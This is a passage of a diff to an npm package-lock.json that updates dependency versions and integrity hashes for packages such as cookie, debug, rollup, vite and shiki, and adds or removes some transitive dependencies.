-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
-      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-      "license": "MIT",
-      "dependencies": {
-        "color-name": "1.1.3"
-      }
-    },
     "node_modules/color-name": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
       "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
-      "license": "MIT"
+      "license": "MIT",
+      "optional": true
     },
     "node_modules/color-string": {
       "version": "1.9.1",
@@ -2331,9 +2279,9 @@
       "license": "MIT"
     },
     "node_modules/cookie": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz",
-      "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==",
+      "version": "0.7.2",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
+      "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
       "license": "MIT",
       "engines": {
         "node": ">= 0.6"
@@ -2359,12 +2307,12 @@
       "peer": true
     },
     "node_modules/debug": {
-      "version": "4.3.6",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.6.tgz",
-      "integrity": "sha512-O/09Bd4Z1fBrU4VzkhFqVgpPzaGbw6Sm9FEkBT1A/YBXQFGuuSxa1dN2nxgxS34JmKXqYx8CZAwEVoJFImUXIg==",
+      "version": "4.3.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
+      "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
       "license": "MIT",
       "dependencies": {
-        "ms": "2.1.2"
+        "ms": "^2.1.3"
       },
       "engines": {
         "node": ">=6.0"
@@ -2420,9 +2368,9 @@
       }
     },
     "node_modules/devalue": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/devalue/-/devalue-5.0.0.tgz",
-      "integrity": "sha512-gO+/OMXF7488D+u3ue+G7Y4AA3ZmUnB3eHJXmBTgNHvr4ZNzl36A0ZtG+XCRNYCkYx/bFmw4qtkoFLa+wSrwAA==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/devalue/-/devalue-5.1.1.tgz",
+      "integrity": "sha512-maua5KUiapvEwiEAe+XnlZ3Rh0GD+qI1J/nb9vrJc3muPXvcF/8gXYTWF76+5DAqHyDUtOIImEuo0YKE9mshVw==",
       "license": "MIT"
     },
     "node_modules/devlop": {
@@ -2454,30 +2402,23 @@
       "license": "MIT"
     },
     "node_modules/dset": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/dset/-/dset-3.1.3.tgz",
-      "integrity": "sha512-20TuZZHCEZ2O71q9/+8BwKwZ0QtD9D8ObhrihJPr+vLLYlSuAU3/zL4cSlgbfeoGHTjCSJBa7NGcrF9/Bx/WJQ==",
-      "license": "MIT",
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/dset/-/dset-3.1.4.tgz",
+      "integrity": "sha512-2QF/g9/zTaPDc3BjNcVTGoBbXBgYfMTTceLaYcFJ/W9kggFUkhxD/hMEeuLKbugyef9SqAx8cpgwlIP/jinUTA==",
       "engines": {
         "node": ">=4"
       }
     },
-    "node_modules/eastasianwidth": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
-      "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==",
-      "license": "MIT"
-    },
     "node_modules/electron-to-chromium": {
-      "version": "1.5.4",
-      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.4.tgz",
-      "integrity": "sha512-orzA81VqLyIGUEA77YkVA1D+N+nNfl2isJVjjmOyrlxuooZ19ynb+dOlaDTqd/idKRS9lDCSBmtzM+kyCsMnkA==",
+      "version": "1.5.49",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.49.tgz",
+      "integrity": "sha512-ZXfs1Of8fDb6z7WEYZjXpgIRF6MEu8JdeGA0A40aZq6OQbS+eJpnnV49epZRna2DU/YsEjSQuGtQPPtvt6J65A==",
       "license": "ISC"
     },
     "node_modules/emoji-regex": {
-      "version": "10.3.0",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.3.0.tgz",
-      "integrity": "sha512-QpLs9D9v9kArv4lfDEgg1X/gN5XLnf/A6l9cs8SPZLRZR3ZkY9+kwIQTxm+fsSej5UMYGE8fdoaZVIBlqG0XTw==",
+      "version": "10.4.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz",
+      "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==",
       "license": "MIT"
     },
     "node_modules/entities": {
@@ -2537,23 +2478,14 @@
       }
     },
     "node_modules/escalade": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz",
-      "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
       "license": "MIT",
       "engines": {
         "node": ">=6"
       }
     },
-    "node_modules/escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
-      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=0.8.0"
-      }
-    },
     "node_modules/esprima": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
@@ -2786,19 +2718,10 @@
         "js-yaml": "bin/js-yaml.js"
       }
     },
-    "node_modules/has-flag": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-      "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/hast-util-from-html": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/hast-util-from-html/-/hast-util-from-html-2.0.1.tgz",
-      "integrity": "sha512-RXQBLMl9kjKVNkJTIO6bZyb2n+cUH8LFaSSzo82jiLT6Tfc+Pt7VQCS+/h3YwG4jaNE2TA2sdJisGWR+aJrp0g==",
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/hast-util-from-html/-/hast-util-from-html-2.0.3.tgz",
+      "integrity": "sha512-CUSRHXyKjzHov8yKsQjGOElXy/3EKpyX56ELnkHH34vDVw1N1XSQ1ZcAvTyAPtGqLTuKP/uxM+aLkSPqF/EtMw==",
       "license": "MIT",
       "dependencies": {
         "@types/hast": "^3.0.0",
@@ -2885,16 +2808,15 @@
       }
     },
     "node_modules/hast-util-to-html": {
-      "version": "9.0.1",
-      "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-9.0.1.tgz",
-      "integrity": "sha512-hZOofyZANbyWo+9RP75xIDV/gq+OUKx+T46IlwERnKmfpwp81XBFbT9mi26ws+SJchA4RVUQwIBJpqEOBhMzEQ==",
+      "version": "9.0.3",
+      "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-9.0.3.tgz",
+      "integrity": "sha512-M17uBDzMJ9RPCqLMO92gNNUDuBSq10a25SDBI08iCCxmorf4Yy6sYHK57n9WAbRAAaU+DuR4W6GN9K4DFZesYg==",
       "license": "MIT",
       "dependencies": {
         "@types/hast": "^3.0.0",
         "@types/unist": "^3.0.0",
         "ccount": "^2.0.0",
         "comma-separated-tokens": "^2.0.0",
-        "hast-util-raw": "^9.0.0",
         "hast-util-whitespace": "^3.0.0",
         "html-void-elements": "^3.0.0",
         "mdast-util-to-hast": "^13.0.0",
@@ -3163,15 +3085,15 @@
       }
     },
     "node_modules/jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.0.2.tgz",
+      "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==",
       "license": "MIT",
       "bin": {
         "jsesc": "bin/jsesc"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=6"
       }
     },
     "node_modules/json5": {
@@ -3325,9 +3247,9 @@
       }
     },
     "node_modules/magic-string": {
-      "version": "0.30.11",
-      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.11.tgz",
-      "integrity": "sha512-+Wri9p0QHMy+545hKww7YAu5NyzF8iomPL/RQazugQ9+Ez4Ic3mERMd8ZTX5rfK944j+560ZJi8iAwgak1Ac7A==",
+      "version": "0.30.12",
+      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.12.tgz",
+      "integrity": "sha512-Ea8I3sQMVXr8JhN4z+H/d8zwo+tYDgHE9+5G4Wnrwhs0gaK9fXTKx0Tw5Xwsd/bCPTTZNRAdpyzvoeORe9LYpw==",
       "license": "MIT",
       "dependencies": {
         "@jridgewell/sourcemap-codec": "^1.5.0"
@@ -4197,9 +4119,9 @@
       }
     },
     "node_modules/ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
       "license": "MIT"
     },
     "node_modules/nanoid": {
@@ -4248,10 +4170,22 @@
       "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==",
       "license": "MIT"
     },
+    "node_modules/oniguruma-to-js": {
+      "version": "0.4.3",
+      "resolved": "https://registry.npmjs.org/oniguruma-to-js/-/oniguruma-to-js-0.4.3.tgz",
+      "integrity": "sha512-X0jWUcAlxORhOqqBREgPMgnshB7ZGYszBNspP+tS9hPD3l13CdaXcHbgImoHUHlrvGx/7AvFEkTRhAGYh+jzjQ==",
+      "license": "MIT",
+      "dependencies": {
+        "regex": "^4.3.2"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/antfu"
+      }
+    },
     "node_modules/ora": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npmjs.org/ora/-/ora-8.1.0.tgz",
-      "integrity": "sha512-GQEkNkH/GHOhPFXcqZs3IDahXEQcQxsSjEkK4KvEEST4t7eNzoMjxTzef+EZ+JluDEV+Raoi3WQ2CflnRdSVnQ==",
+      "version": "8.1.1",
+      "resolved": "https://registry.npmjs.org/ora/-/ora-8.1.1.tgz",
+      "integrity": "sha512-YWielGi1XzG1UTvOaCFaNgEnuhZVMSHYkW/FQ7UX8O26PtlpdM84c0f7wLPlkvx2RfiQmnzd61d/MGxmpQeJPw==",
       "license": "MIT",
       "dependencies": {
         "chalk": "^5.3.0",
@@ -4401,16 +4335,10 @@
         "node": ">=8"
       }
     },
-    "node_modules/path-to-regexp": {
-      "version": "6.2.2",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.2.2.tgz",
-      "integrity": "sha512-GQX3SSMokngb36+whdpRXE+3f9V8UzyAorlYvOGx87ufGHehNTn5lCxrKtLyZ4Yl/wEKnNnr98ZzOwwDZV5ogw==",
-      "license": "MIT"
-    },
     "node_modules/picocolors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.1.tgz",
-      "integrity": "sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.0.tgz",
+      "integrity": "sha512-TQ92mBOW0l3LeMeyLV6mzy/kWr8lkd/hp3mTg7wYK7zJhuBStmGMBG0BdeDZS/dZx1IukaX6Bk11zcln25o1Aw==",
       "license": "ISC"
     },
     "node_modules/picomatch": {
@@ -4447,9 +4375,9 @@
       }
     },
     "node_modules/postcss": {
-      "version": "8.4.41",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.41.tgz",
-      "integrity": "sha512-TesUflQ0WKZqAvg52PWL6kHgLKP6xB6heTOdoYM0Wt2UHyxNa4K25EZZMgKns3BH1RLVbZCREPpLY0rhnNoHVQ==",
+      "version": "8.4.45",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.45.tgz",
+      "integrity": "sha512-7KTLTdzdZZYscUc65XmjFiB73vBhBfbPztCYdUNvlaso9PrzjzcmjqBPR0lNGkcVlcO4BjiO5rK/qNz+XAen1Q==",
       "funding": [
         {
           "type": "opencollective",
@@ -4583,10 +4511,16 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/regex": {
+      "version": "4.3.3",
+      "resolved": "https://registry.npmjs.org/regex/-/regex-4.3.3.tgz",
+      "integrity": "sha512-r/AadFO7owAq1QJVeZ/nq9jNS1vyZt+6t1p/E59B56Rn2GCya+gr1KSyOzNL/er+r+B7phv5jG2xU2Nz1YkmJg==",
+      "license": "MIT"
+    },
     "node_modules/rehype": {
-      "version": "13.0.1",
-      "resolved": "https://registry.npmjs.org/rehype/-/rehype-13.0.1.tgz",
-      "integrity": "sha512-AcSLS2mItY+0fYu9xKxOu1LhUZeBZZBx8//5HKzF+0XP+eP8+6a5MXn2+DW2kfXR6Dtp1FEXMVrjyKAcvcU8vg==",
+      "version": "13.0.2",
+      "resolved": "https://registry.npmjs.org/rehype/-/rehype-13.0.2.tgz",
+      "integrity": "sha512-j31mdaRFrwFRUIlxGeuPXXKWQxet52RBQRvCmzl5eCefn/KGbomK5GMHNMsOJf55fgo3qw5tST5neDuarDYR2A==",
       "license": "MIT",
       "dependencies": {
         "@types/hast": "^3.0.0",
@@ -4630,9 +4564,9 @@
       }
     },
     "node_modules/rehype-stringify": {
-      "version": "10.0.0",
-      "resolved": "https://registry.npmjs.org/rehype-stringify/-/rehype-stringify-10.0.0.tgz",
-      "integrity": "sha512-1TX1i048LooI9QoecrXy7nGFFbFSufxVRAfc6Y9YMRAi56l+oB0zP51mLSV312uRuvVLPV1opSlJmslozR1XHQ==",
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/rehype-stringify/-/rehype-stringify-10.0.1.tgz",
+      "integrity": "sha512-k9ecfXHmIPuFVI61B9DeLPN0qFHfawM6RsuX48hoqlaKSF61RskNjSm1lI8PhBEM0MRdLxVVm4WmTqJQccH9mA==",
       "license": "MIT",
       "dependencies": {
         "@types/hast": "^3.0.0",
@@ -4679,9 +4613,9 @@
       }
     },
     "node_modules/remark-rehype": {
-      "version": "11.1.0",
-      "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.0.tgz",
-      "integrity": "sha512-z3tJrAs2kIs1AqIIy6pzHmAHlF1hWQ+OdY4/hv+Wxe35EhyLKcajL33iUEn3ScxtFox9nUvRufR/Zre8Q08H/g==",
+      "version": "11.1.1",
+      "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.1.tgz",
+      "integrity": "sha512-g/osARvjkBXb6Wo0XvAeXQohVta8i84ACbenPpoSsxTOQH/Ae0/RGP4WZgnMH5pMLpsj4FG7OHmcIcXxpza8eQ==",
       "license": "MIT",
       "dependencies": {
         "@types/hast": "^3.0.0",
@@ -4828,10 +4762,9 @@
       }
     },
     "node_modules/rollup": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.21.1.tgz",
-      "integrity": "sha512-ZnYyKvscThhgd3M5+Qt3pmhO4jIRR5RGzaSovB6Q7rGNrK5cUncrtLmcTTJVSdcKXyZjW8X8MB0JMSuH9bcAJg==",
-      "license": "MIT",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.22.4.tgz",
+      "integrity": "sha512-vD8HJ5raRcWOyymsR6Z3o6+RzfEPCnVLMFJ6vRslO1jt4LO6dUo5Qnpg7y4RkZFM2DMe3WUirkI5c16onjrc6A==",
       "dependencies": {
         "@types/estree": "1.0.5"
       },
@@ -4843,22 +4776,22 @@
         "npm": ">=8.0.0"
       },
       "optionalDependencies": {
-        "@rollup/rollup-android-arm-eabi": "4.21.1",
-        "@rollup/rollup-android-arm64": "4.21.1",
-        "@rollup/rollup-darwin-arm64": "4.21.1",
-        "@rollup/rollup-darwin-x64": "4.21.1",
-        "@rollup/rollup-linux-arm-gnueabihf": "4.21.1",
-        "@rollup/rollup-linux-arm-musleabihf": "4.21.1",
-        "@rollup/rollup-linux-arm64-gnu": "4.21.1",
-        "@rollup/rollup-linux-arm64-musl": "4.21.1",
-        "@rollup/rollup-linux-powerpc64le-gnu": "4.21.1",
-        "@rollup/rollup-linux-riscv64-gnu": "4.21.1",
-        "@rollup/rollup-linux-s390x-gnu": "4.21.1",
-        "@rollup/rollup-linux-x64-gnu": "4.21.1",
-        "@rollup/rollup-linux-x64-musl": "4.21.1",
-        "@rollup/rollup-win32-arm64-msvc": "4.21.1",
-        "@rollup/rollup-win32-ia32-msvc": "4.21.1",
-        "@rollup/rollup-win32-x64-msvc": "4.21.1",
+        "@rollup/rollup-android-arm-eabi": "4.22.4",
+        "@rollup/rollup-android-arm64": "4.22.4",
+        "@rollup/rollup-darwin-arm64": "4.22.4",
+        "@rollup/rollup-darwin-x64": "4.22.4",
+        "@rollup/rollup-linux-arm-gnueabihf": "4.22.4",
+        "@rollup/rollup-linux-arm-musleabihf": "4.22.4",
+        "@rollup/rollup-linux-arm64-gnu": "4.22.4",
+        "@rollup/rollup-linux-arm64-musl": "4.22.4",
+        "@rollup/rollup-linux-powerpc64le-gnu": "4.22.4",
+        "@rollup/rollup-linux-riscv64-gnu": "4.22.4",
+        "@rollup/rollup-linux-s390x-gnu": "4.22.4",
+        "@rollup/rollup-linux-x64-gnu": "4.22.4",
+        "@rollup/rollup-linux-x64-musl": "4.22.4",
+        "@rollup/rollup-win32-arm64-msvc": "4.22.4",
+        "@rollup/rollup-win32-ia32-msvc": "4.22.4",
+        "@rollup/rollup-win32-x64-msvc": "4.22.4",
         "fsevents": "~2.3.2"
       }
     },
@@ -4908,12 +4841,15 @@
       }
     },
     "node_modules/semver": {
-      "version": "6.3.1",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
-      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "version": "7.6.3",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz",
+      "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==",
       "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
       }
     },
     "node_modules/sharp": {
@@ -4957,27 +4893,17 @@
         "@img/sharp-win32-x64": "0.33.4"
       }
     },
-    "node_modules/sharp/node_modules/semver": {
-      "version": "7.6.2",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.2.tgz",
-      "integrity": "sha512-FNAIBWCx9qcRhoHcgcJ0gvU7SN1lYU2ZXuSfl04bSC5OpvDHFyJCjdNHomPXxjQlCBU67YW64PzY7/VIEH7F2w==",
-      "license": "ISC",
-      "optional": true,
-      "bin": {
-        "semver": "bin/semver.js"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/shiki": {
-      "version": "1.16.1",
-      "resolved": "https://registry.npmjs.org/shiki/-/shiki-1.16.1.tgz",
-      "integrity": "sha512-tCJIMaxDVB1mEIJ5TvfZU7kCPB5eo9fli5+21Olc/bmyv+w8kye3JOp+LZRmGkAyT71hrkefQhTiY+o9mBikRQ==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/shiki/-/shiki-1.22.2.tgz",
+      "integrity": "sha512-3IZau0NdGKXhH2bBlUk4w1IHNxPh6A5B2sUpyY+8utLu2j/h1QpFkAaUA1bAMxOWWGtTWcAh531vnS4NJKS/lA==",
       "license": "MIT",
       "dependencies": {
-        "@shikijs/core": "1.16.1",
-        "@shikijs/vscode-textmate": "^9.2.0",
+        "@shikijs/core": "1.22.2",
+        "@shikijs/engine-javascript": "1.22.2",
+        "@shikijs/engine-oniguruma": "1.22.2",
+        "@shikijs/types": "1.22.2",
+        "@shikijs/vscode-textmate": "^9.3.0",
         "@types/hast": "^3.0.4"
       }
     },
@@ -5110,33 +5036,12 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/supports-color": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-      "license": "MIT",
-      "dependencies": {
-        "has-flag": "^3.0.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/tinyexec": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.0.tgz",
-      "integrity": "sha512-tVGE0mVJPGb0chKhqmsoosjsS+qUnJVGJpZgsHYQcGoPlG3B51R3PouqTgEGH2Dc9jjFyOqOpix6ZHNMXp1FZg==",
+      "version": "0.3.1",
+      "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.1.tgz",
+      "integrity": "sha512-WiCJLEECkO18gwqIp6+hJg0//p23HXp4S+gGtAKu3mI2F2/sXC4FvHvXvB0zJVVaTPhx1/tOwdbRsa1sOBIKqQ==",
       "license": "MIT"
     },
-    "node_modules/to-fast-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
-      "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/to-regex-range": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@@ -5170,9 +5075,9 @@
       }
     },
     "node_modules/tsconfck": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/tsconfck/-/tsconfck-3.1.3.tgz",
-      "integrity": "sha512-ulNZP1SVpRDesxeMLON/LtWM8HIgAJEIVpVVhBM6gsmvQ8+Rh+ZG7FWGvHh7Ah3pRABwVJWklWCr/BTZSv0xnQ==",
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/tsconfck/-/tsconfck-3.1.4.tgz",
+      "integrity": "sha512-kdqWFGVJqe+KGYvlSO9NIaWn9jT1Ny4oKVzAJsKii5eoE9snzTJzL4+MMVOMn+fikWGFmKEylcXL710V/kIPJQ==",
       "license": "MIT",
       "bin": {
         "tsconfck": "bin/tsconfck.js"
@@ -5197,12 +5102,12 @@
       "optional": true
     },
     "node_modules/type-fest": {
-      "version": "2.19.0",
-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.19.0.tgz",
-      "integrity": "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==",
+      "version": "4.26.1",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.26.1.tgz",
+      "integrity": "sha512-yOGpmOAL7CkKe/91I5O3gPICmJNLJ1G4zFYVAsRHg7M64biSnPtRj0WNQt++bRkjYOqjWXrhnUw1utzmVErAdg==",
       "license": "(MIT OR CC0-1.0)",
       "engines": {
-        "node": ">=12.20"
+        "node": ">=16"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
@@ -5371,9 +5276,9 @@
       }
     },
     "node_modules/update-browserslist-db": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz",
-      "integrity": "sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz",
+      "integrity": "sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==",
       "funding": [
         {
           "type": "opencollective",
@@ -5390,8 +5295,8 @@
       ],
       "license": "MIT",
       "dependencies": {
-        "escalade": "^3.1.2",
-        "picocolors": "^1.0.1"
+        "escalade": "^3.2.0",
+        "picocolors": "^1.1.0"
       },
       "bin": {
         "update-browserslist-db": "cli.js"
@@ -5443,13 +5348,13 @@
       }
     },
     "node_modules/vite": {
-      "version": "5.4.2",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.2.tgz",
-      "integrity": "sha512-dDrQTRHp5C1fTFzcSaMxjk6vdpKvT+2/mIdE07Gw2ykehT49O0z/VHS3zZ8iV/Gh8BJJKHWOe5RjaNrW5xf/GA==",
+      "version": "5.4.10",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.10.tgz",
+      "integrity": "sha512-1hvaPshuPUtxeQ0hsVH3Mud0ZanOLwVTneA1EgbAM5LhaZEqyPWGRQ7BtaMvUrTDeEaC8pxtj6a6jku3x4z6SQ==",
       "license": "MIT",
       "dependencies": {
         "esbuild": "^0.21.3",
-        "postcss": "^8.4.41",
+        "postcss": "^8.4.43",
         "rollup": "^4.20.0"
       },
       "bin": {
@@ -5502,12 +5407,16 @@
       }
     },
     "node_modules/vitefu": {
-      "version": "0.2.5",
-      "resolved": "https://registry.npmjs.org/vitefu/-/vitefu-0.2.5.tgz",
-      "integrity": "sha512-SgHtMLoqaeeGnd2evZ849ZbACbnwQCIwRH57t18FxcXoZop0uQu0uzlIhJBlF/eWVzuce0sHeqPcDo+evVcg8Q==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/vitefu/-/vitefu-1.0.3.tgz",
+      "integrity": "sha512-iKKfOMBHob2WxEJbqbJjHAkmYgvFDPhuqrO82om83S8RLk+17FtyMBfcyeH8GqD0ihShtkMW/zzJgiA51hCNCQ==",
       "license": "MIT",
+      "workspaces": [
+        "tests/deps/*",
+        "tests/projects/*"
+      ],
       "peerDependencies": {
-        "vite": "^3.0.0 || ^4.0.0 || ^5.0.0"
+        "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0-beta.0"
       },
       "peerDependenciesMeta": {
         "vite": {
@@ -5547,55 +5456,32 @@
       }
     },
     "node_modules/widest-line": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-4.0.1.tgz",
-      "integrity": "sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==",
-      "license": "MIT",
-      "dependencies": {
-        "string-width": "^5.0.1"
-      },
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
-    "node_modules/widest-line/node_modules/emoji-regex": {
